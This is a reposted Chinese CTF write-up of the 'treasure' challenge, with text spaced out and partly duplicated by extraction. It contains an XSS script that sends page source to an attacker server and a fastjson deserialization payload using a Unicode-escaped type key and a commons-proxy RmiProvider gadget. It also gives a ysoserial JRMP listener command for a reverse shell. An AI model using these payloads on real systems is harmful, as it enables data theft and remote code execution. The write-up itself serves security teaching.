搜索

[27501] 2020-01-02_空指针-treasure-Writeup

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-19
2020-01-02_空指针-treasure-Writeup 空 指 针 - t r e a s u r e - W r i t e u p 原 创   N u 1 L   T e a m   N u 1 L   T e a m   2 0 2 0 - 0 1 - 0 2 感 谢 沉 浸 于 工 作 的 火 日 师 傅 抽 空 出 的 题 ， 因 为 最 近 在 学 感 谢 沉 浸 于 工 作 的 火 日 师 傅 抽 空 出 的 题 ， 因 为 最 近 在 学 j a v a 安 全 ， 所 以 就 自 告 奋 勇 和 安 全 ， 所 以 就 自 告 奋 勇 和 M u u u 来 测 题 ， 然 后 下 图 就 十 分 应 景 ， 整 体 做 完 学 到 了 很 多 来 测 题 ， 然 后 下 图 就 十 分 应 景 ， 整 体 做 完 学 到 了 很 多 O R z ： ： 题 目 地 址 为 ： h t t p : / / t r e a s u r e . n p o i n t e r . c n / # h o m e 我 们 会 延 续 开 放 2 4 h ， 有 兴 趣 的 可 以 做 一 遍 。 下 面 我 将 尽 可 能 地 详 细 阐 述 整 体 的 做 题 思 路 ， 以 及 中 间 踩 到 的 坑 。 0 x 0 1 : X S S 首 页 发 现 功 能 只 有 两 个 ， 一 个 是 首 页 发 现 功 能 只 有 两 个 ， 一 个 是 h i n t ， 一 个 是 ， 一 个 是 s u b m i t ， 而 ， 而 h i n t 页 面 内 容 如 下 ： 页 面 内 容 如 下 ：
那 么 肯 定 就 是 要 管 理 员 去 请 求 了 ， 接 下 来 看 源 码 中 的 j s 文 件 ： 如 果 对 s s r f 题 目 比 较 熟 悉 的 选 手 ， 应 该 一 眼 就 可 以 看 出 可 以 用 域 名 . 的 形 式 绕 过 ， 所 以 我 们 可 以 在 v p s 上 构 造 远 程 读 取 h i n t . h t m l 页 面 的 j s 代 码 ， 然 后 提 交 给 b o t ， 让 b o t 去 访 问 ， 代 码 如 下 ： < s c r i p t > f u n c t i o n   c r e a t e X m l H t t p ( )   {         i f   ( w i n d o w . X M L H t t p R e q u e s t )   {                 x m l H t t p   =   n e w   X M L H t t p R e q u e s t ( )         }   e l s e   {                 v a r   M S X M L   =   n e w   A r r a y ( ' M S X M L 2 . X M L H T T P . 5 . 0 ' ,   ' M S X M L 2 . X M L H T T P . 4 . 0 ' ,   ' M S X M L 2 . X M L H T T P . 3 . 0 ' ,   ' M S X M L 2 . X M L H T T P ' ,   ' M i c r o s o f t . X M L H T T P ' ) ;                 f o r   ( v a r   n   =   0 ;   n   <   M S X M L . l e n g t h ;   n + + )   {                         t r y   {                                 x m l H t t p   =   n e w   A c t i v e X O b j e c t ( M S X M L [ n ] ) ;                                 b r e a k                         }   c a t c h ( e )   { }                 }         } } c r e a t e X m l H t t p ( ) ; x m l H t t p . o n r e a d y s t a t e c h a n g e   =   f u n c t i o n ( ) {     i f   ( x m l H t t p . r e a d y S t a t e   = =   4 )   {                 c o d e = x m l H t t p . r e s p o n s e T e x t ;                 c r e a t e X m l H t t p ( ) ;                 u r l   =   " h t t p : / / x . x . x . x : 9 0 0 1 " ;
提 交 给 b o t 拿 到 源 码 : 解 码 后 我 们 可 以 拿 到 题 目 源 码 ， 同 时 可 以 得 知 j d k 是 最 新 版 本 以 及 f l a g 的 位 置 。 0 x 0 2 : f a s t j s o n 的 反 序 列 化 首 先 我 们 要 知 道 ， 在 高 本 版 的 首 先 我 们 要 知 道 ， 在 高 本 版 的 j d k 下 ， 我 们 不 能 远 程 加 载 类 （ 默 认 没 开 ） ， 所 以 能 利 用 的 方 式 大 致 为 两 种 ， 下 ， 我 们 不 能 远 程 加 载 类 （ 默 认 没 开 ） ， 所 以 能 利 用 的 方 式 大 致 为 两 种 ， J N D I 跟 跟 J R M P 。 。 我 在 翻 看 了 选 手 们 的 w p 后 ， 发 现 大 部 分 都 是 利 用 了 J D N I 注 入 的 L D A P 去 打 的 利 用 链 ， 可 以 参 照 1 6 年 b h 的 议 题 ： 言 归 正 传 ， 我 们 先 来 看 控 制 器 的 方 法 ：                 u r l   =   " h t t p : / / x . x . x . x : 9 0 0 1 " ;                 c c   =   w i n d o w . b t o a ( c o d e ) ;                 x m l H t t p . o p e n ( " P O S T " ,   u r l ,   t r u e ) ;                 x m l H t t p . s e t R e q u e s t H e a d e r ( " C o n t e n t - t y p e " ,   " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d " ) ;                 x m l H t t p . s e n d ( c c )     } } ; x m l H t t p . o p e n ( " G E T " ,   " / h i n t . h t m l " ,   t r u e ) ; x m l H t t p . s e n d ( n u l l ) ; < / s c r i p t >
十 分 标 准 的 f a s t j s o n 反 序 列 化 操 作 ， 然 后 我 们 在 来 看 切 面 中 匹 配 了 t y p e 关 键 词 ， 如 果 匹 配 到 会 导 致 失 败 异 常 退 出 ： 我 们 知 道 ， 在 j s o n 中 可 以 利 用 U n i c o d e 来 进 行 解 码 ， 这 里 就 利 用 U n i c o d e 绕 过 即 可 。 然 后 就 是 痛 苦 的 找 包 过 程 ， 这 里 我 用 m a v e n 直 接 把 p o m . x m l 的 依 赖 全 部 下 到 本 地 了 ， 然 后 去 看 s o u r c e   c o d e ， 然 后 就 是 痛 苦 的 找 包 过 程 ( 其 实 如 果 有 经 验 的 选 手 ， 直 接 反 编 译 后 搜 l o o k u p 就 好 了 ) 。 先 来 看 预 期 解 ， 顺 着 p o m . x m l 慢 慢 往 下 看 ， 会 发 现 其 引 用 了 c o m m o n s - p r o x y ： 在 o r g . a p a c h e . c o m m o n s . p r o x y . p r o v i d e r . r e m o t i n g . R m i P r o v i d e r 中 ， 我 们 发 现 在 g e t O b j e c t 函 数 中 调 用 了 l o o k u p 函 数 ， 如 下 图 ： 我 们 知 道 ， p a r s e O b j e c t ( ) 在 处 理 过 程 中 会 调 用 反 序 列 化 目 标 类 的 所 有 s e t t e r 和 g e t t e r 方 法 ， 所 以 这 里 只 需 要 我 们 构 造 一 个 J R M P   S E R V E R 就 可 以 利 用 R M I 触 发 。 然 后 再 去 看 p o m . x m l ， 发 现 引 用 了 c o m m o n s - c o l l e c t i o n s 3 . 2 然 后 利 用 y s o 的 c o m m o n s c o l l e c t i o n s 5 打 就 好 了 操 作 流 程 如 下 ， 先 在 v p s 上 启 动 J R M P ： 然 后 通 过 s u b m i t 路 由 发 送 ： 即 可 最 后 实 现 R C E i f   ( i n p u t . t o L o w e r C a s e ( ) . c o n t a i n s ( " t y p e " ) )   { r e t u r n   j o i n P o i n t . p r o c e e d ( a r g s ) ; } < d e p e n d e n c y >         < g r o u p I d > o r g . a p a c h e . c o m m o n s < / g r o u p I d >         < a r t i f a c t I d > c o m m o n s - p r o x y < / a r t i f a c t I d >         < v e r s i o n > 1 . 0 < / v e r s i o n > < / d e p e n d e n c y > j a v a   - c p   y s o s e r i a l - 0 . 0 . 6 - S N A P S H O T - a l l . j a r   y s o s e r i a l . e x p l o i t . J R M P L i s t e n e r   1 0 8 8   C o m m o n s C o l l e c t i o n s 5   ' 反 弹 s h e l l ' { " @ u 0 0 7 4 y p e " : " o r g . a p a c h e . c o m m o n s . p r o x y . p r o v i d e r . r e m o t i n g . R m i P r o v i d e r " , " h o s t " : " 1 1 8 . 2 4 . 1 0 1 . 2 4 1 " , p o r t : " 1 0 8 8 " , " n a m e " : " O b j e c t " }
在 我 看 来 ， 这 是 最 简 单 的 一 种 做 法 ， 只 需 要 启 动 一 个 J R M P   S E R V E R 来 触 发 反 序 列 化 即 可 。 0 x 0 3 : 另 外 的 做 法 既 然 大 部 分 选 手 都 是 用 了 既 然 大 部 分 选 手 都 是 用 了 o r g . a p a c h e . c o m m o n s . p r o x y . p r o v i d e r . r e m o t i n g . S e s s i o n B e a n P r o v i d e r 这 一 个 链 去 打 ， 我 们 来 看 一 下 它 的 实 现 方 法 ： 这 一 个 链 去 打 ， 我 们 来 看 一 下 它 的 实 现 方 法 ： 可 以 看 到 j n D i 明 显 是 我 们 可 控 的 ， 于 是 一 个 典 型 的 J N D I 注 入 就 出 来 了 ， 当 然 依 旧 可 以 通 过 J R M P 去 R C E 。 J R M P 的 利 用 方 式 跟 上 文 中 的 一 样 。 J D N I 注 入 的 利 用 可 参 考 这 篇 文 章 ： h t t p s : / / k i n g x . m e / R e s t r i c t i o n s - a n d - B y p a s s - o f - J N D I - M a n i p u l a t i o n s - R C E . h t m l 。 其 中 利 用 本 地 C l a s s 作 为 R e f e r e n c e   F a c t o r y 这 种 方 法 ， 在 我 本 地 尝 试 是 O K 的 ， 但 是 苦 于 远 程 环 境 搭 建 过 于 麻 烦 . . . 就 没 远 程 尝 试 ， 有 兴 趣 的 师 傅 可 以 试 一 下 求 告 知 O r z P S 在 本 地 测 试 过 程 中 ， 发 现 S e s s i o n B e a n P r o v i d e r 会 报 a u t o T y p e   i s   n o t   s u p p o r t ， 但 为 啥 题 目 是 可 以 打 的 呢 ？ 这 是 由 于 一 个 进 程 下 f a s t j s o n 的 缓 存 原 因 ， 有 兴 趣 的 读 者 可 以 本 地 自 行 跟 一 下 。 第 一 场 内 部 赛 预 告 第 一 场 内 部 赛 预 告
出 题 人 出 题 人 : 梅 子 酒 梅 子 酒 1 . 1 0 日 2 1 : 0 0 正 式 开 放 敬 请 期 待
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理